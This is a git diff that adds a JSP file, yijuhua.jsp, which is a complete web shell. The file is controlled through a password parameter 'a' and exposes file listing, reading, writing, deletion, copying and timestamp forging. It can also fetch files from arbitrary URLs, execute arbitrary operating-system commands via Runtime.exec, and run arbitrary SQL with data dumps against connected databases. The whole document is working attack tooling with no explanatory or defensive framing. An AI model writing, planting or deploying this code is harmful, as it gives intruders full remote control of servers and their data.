diff --git a/jsp/yijuhua.jsp b/jsp/yijuhua.jsp
new file mode 100644
index 0000000..dad9762
--- /dev/null
+++ b/jsp/yijuhua.jsp
@@ -0,0 +1,288 @@
+<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%>
+<%!
+	String Pwd = "a";
+	String cs = "UTF-8";
+	String EC(String s) throws Exception {
+		return new String(s.getBytes("ISO-8859-1"),cs);
+	}
+	Connection GC(String s) throws Exception {
+		String[] x = s.trim().split("\r\n");
+		Class.forName(x[0].trim());
+		if(x[1].indexOf("jdbc:oracle")!=-1){
+			return DriverManager.getConnection(x[1].trim()+":"+x[4],x[2].equalsIgnoreCase("[/null]")?"":x[2],x[3].equalsIgnoreCase("[/null]")?"":x[3]);
+		}else{
+			Connection c = DriverManager.getConnection(x[1].trim(),x[2].equalsIgnoreCase("[/null]")?"":x[2],x[3].equalsIgnoreCase("[/null]")?"":x[3]);
+			if (x.length > 4) {
+				c.setCatalog(x[4]);
+			}
+			return c;
+		}
+	}
+	void AA(StringBuffer sb) throws Exception {
+		File r[] = File.listRoots();
+		for (int i = 0; i < r.length; i++) {
+			sb.append(r[i].toString().substring(0, 2));
+		}
+	}
+	void BB(String s, StringBuffer sb) throws Exception {
+		File oF = new File(s), l[] = oF.listFiles();
+		String sT, sQ, sF = "";
+		java.util.Date dt;
+		SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
+		for (int i = 0; i < l.length; i++) {
+			dt = new java.util.Date(l[i].lastModified());
+			sT = fm.format(dt);
+			sQ = l[i].canRead() ? "R" : "";
+			sQ += l[i].canWrite() ? " W" : "";
+			if (l[i].isDirectory()) {
+				sb.append(l[i].getName() + "/\t" + sT + "\t" + l[i].length()+ "\t" + sQ + "\n");
+			} else {
+				sF+=l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t"+ sQ + "\n";
+			}
+		}
+		sb.append(sF);
+	}
+	void EE(String s) throws Exception {
+		File f = new File(s);
+		if (f.isDirectory()) {
+			File x[] = f.listFiles();
+			for (int k = 0; k < x.length; k++) {
+				if (!x[k].delete()) {
+					EE(x[k].getPath());
+				}
+			}
+		}
+		f.delete();
+	}
+	void FF(String s, HttpServletResponse r) throws Exception {
+		int n;
+		byte[] b = new byte[512];
+		r.reset();
+		ServletOutputStream os = r.getOutputStream();
+		BufferedInputStream is = new BufferedInputStream(new FileInputStream(s));
+		os.write(("->" + "|").getBytes(), 0, 3);
+		while ((n = is.read(b, 0, 512)) != -1) {
+			os.write(b, 0, n);
+		}
+		os.write(("|" + "<-").getBytes(), 0, 3);
+		os.close();
+		is.close();
+	}
+	void GG(String s, String d) throws Exception {
+		String h = "0123456789ABCDEF";
+		File f = new File(s);
+		f.createNewFile();
+		FileOutputStream os = new FileOutputStream(f);
+		for (int i = 0; i < d.length(); i += 2) {
+			os.write((h.indexOf(d.charAt(i)) << 4 | h.indexOf(d.charAt(i + 1))));
+		}
+		os.close();
+	}
+	void HH(String s, String d) throws Exception {
+		File sf = new File(s), df = new File(d);
+		if (sf.isDirectory()) {
+			if (!df.exists()) {
+				df.mkdir();
+			}
+			File z[] = sf.listFiles();
+			for (int j = 0; j < z.length; j++) {
+				HH(s + "/" + z[j].getName(), d + "/" + z[j].getName());
+			}
+		} else {
+			FileInputStream is = new FileInputStream(sf);
+			FileOutputStream os = new FileOutputStream(df);
+			int n;
+			byte[] b = new byte[512];
+			while ((n = is.read(b, 0, 512)) != -1) {
+				os.write(b, 0, n);
+			}
+			is.close();
+			os.close();
+		}
+	}
+	void II(String s, String d) throws Exception {
+		File sf = new File(s), df = new File(d);
+		sf.renameTo(df);
+	}
+	void JJ(String s) throws Exception {
+		File f = new File(s);
+		f.mkdir();
+	}
+	void KK(String s, String t) throws Exception {
+		File f = new File(s);
+		SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
+		java.util.Date dt = fm.parse(t);
+		f.setLastModified(dt.getTime());
+	}
+	void LL(String s, String d) throws Exception {
+		URL u = new URL(s);
+		int n = 0;
+		FileOutputStream os = new FileOutputStream(d);
+		HttpURLConnection h = (HttpURLConnection) u.openConnection();
+		InputStream is = h.getInputStream();
+		byte[] b = new byte[512];
+		while ((n = is.read(b)) != -1) {
+			os.write(b, 0, n);
+		}
+		os.close();
+		is.close();
+		h.disconnect();
+	}
+	void MM(InputStream is, StringBuffer sb) throws Exception {
+		String l;
+		BufferedReader br = new BufferedReader(new InputStreamReader(is));
+		while ((l = br.readLine()) != null) {
+			sb.append(l + "\r\n");
+		}
+	}
+	void NN(String s, StringBuffer sb) throws Exception {
+		Connection c = GC(s);
+		ResultSet r = s.indexOf("jdbc:oracle")!=-1?c.getMetaData().getSchemas():c.getMetaData().getCatalogs();
+		while (r.next()) {
+			sb.append(r.getString(1) + "\t");
+		}
+		r.close();
+		c.close();
+	}
+	void OO(String s, StringBuffer sb) throws Exception {
+		Connection c = GC(s);
+		String[] x = s.trim().split("\r\n");
+		ResultSet r = c.getMetaData().getTables(null,s.indexOf("jdbc:oracle")!=-1?x.length>5?x[5]:x[4]:null, "%", new String[]{"TABLE"});
+		while (r.next()) {
+			sb.append(r.getString("TABLE_NAME") + "\t");
+		}
+		r.close();
+		c.close();
+	}
+	void PP(String s, StringBuffer sb) throws Exception {
+		String[] x = s.trim().split("\r\n");
+		Connection c = GC(s);
+		Statement m = c.createStatement(1005, 1007);
+		ResultSet r = m.executeQuery("select * from " + x[x.length-1]);
+		ResultSetMetaData d = r.getMetaData();
+		for (int i = 1; i <= d.getColumnCount(); i++) {
+			sb.append(d.getColumnName(i) + " (" + d.getColumnTypeName(i)+ ")\t");
+		}
+		r.close();
+		m.close();
+		c.close();
+	}
+	void QQ(String cs, String s, String q, StringBuffer sb,String p) throws Exception {
+		Connection c = GC(s);
+		Statement m = c.createStatement(1005, 1008);
+		BufferedWriter bw = null;
+		try {
+			ResultSet r = m.executeQuery(q.indexOf("--f:")!=-1?q.substring(0,q.indexOf("--f:")):q);
+			ResultSetMetaData d = r.getMetaData();
+			int n = d.getColumnCount();
+			for (int i = 1; i <= n; i++) {
+				sb.append(d.getColumnName(i) + "\t|\t");
+			}
+			sb.append("\r\n");
+			if(q.indexOf("--f:")!=-1){
+				File file = new File(p);
+				if(q.indexOf("-to:")==-1){
+					file.mkdir();
+				}
+				bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(q.indexOf("-to:")!=-1?p.trim():p+q.substring(q.indexOf("--f:") + 4,q.length()).trim()),true),cs));
+			}
+			while (r.next()) {
+				for (int i = 1; i <= n; i++) {
+					if(q.indexOf("--f:")!=-1){
+						bw.write(r.getObject(i)+""+"\t");
+						bw.flush();
+					}else{
+						sb.append(r.getObject(i)+"" + "\t|\t");
+					}
+				}
+				if(bw!=null){bw.newLine();}
+				sb.append("\r\n");
+			}
+			r.close();
+			if(bw!=null){bw.close();}
+		} catch (Exception e) {
+			sb.append("Result\t|\t\r\n");
+			try {
+				m.executeUpdate(q);
+				sb.append("Execute Successfully!\t|\t\r\n");
+			} catch (Exception ee) {
+				sb.append(ee.toString() + "\t|\t\r\n");
+			}
+		}
+		m.close();
+		c.close();
+	}
+%>
+<%
+	cs = request.getParameter("z0") != null ? request.getParameter("z0")+ "":cs;
+	response.setContentType("text/html");
+	response.setCharacterEncoding(cs);
+	StringBuffer sb = new StringBuffer("");
+	try {
+		String Z = EC(request.getParameter(Pwd) + "");
+		String z1 = EC(request.getParameter("z1") + "");
+		String z2 = EC(request.getParameter("z2") + "");
+		sb.append("->" + "|");
+		String s = request.getSession().getServletContext().getRealPath("/");
+		if (Z.equals("A")) {
+			sb.append(s + "\t");
+			if (!s.substring(0, 1).equals("/")) {
+				AA(sb);
+			}
+		} else if (Z.equals("B")) {
+			BB(z1, sb);
+		} else if (Z.equals("C")) {
+			String l = "";
+			BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));
+			while ((l = br.readLine()) != null) {
+				sb.append(l + "\r\n");
+			}
+			br.close();
+		} else if (Z.equals("D")) {
+			BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));
+			bw.write(z2);
+			bw.close();
+			sb.append("1");
+		} else if (Z.equals("E")) {
+			EE(z1);
+			sb.append("1");
+		} else if (Z.equals("F")) {
+			FF(z1, response);
+		} else if (Z.equals("G")) {
+			GG(z1, z2);
+			sb.append("1");
+		} else if (Z.equals("H")) {
+			HH(z1, z2);
+			sb.append("1");
+		} else if (Z.equals("I")) {
+			II(z1, z2);
+			sb.append("1");
+		} else if (Z.equals("J")) {
+			JJ(z1);
+			sb.append("1");
+		} else if (Z.equals("K")) {
+			KK(z1, z2);
+			sb.append("1");
+		} else if (Z.equals("L")) {
+			LL(z1, z2);
+			sb.append("1");
+		} else if (Z.equals("M")) {
+			String[] c = { z1.substring(2), z1.substring(0, 2), z2 };
+			Process p = Runtime.getRuntime().exec(c);
+			MM(p.getInputStream(), sb);
+			MM(p.getErrorStream(), sb);
+		} else if (Z.equals("N")) {
+			NN(z1, sb);
+		} else if (Z.equals("O")) {
+			OO(z1, sb);
+		} else if (Z.equals("P")) {
+			PP(z1, sb);
+		} else if (Z.equals("Q")) {
+			QQ(cs, z1, z2, sb,z2.indexOf("-to:")!=-1?z2.substring(z2.indexOf("-to:")+4,z2.length()):s.replaceAll("\\\\", "/")+"images/");
+		}
+	} catch (Exception e) {
+		sb.append("ERROR" + ":// " + e.toString());
+	}
+	sb.append("|" + "<-");
+	out.print(sb.toString());
+%>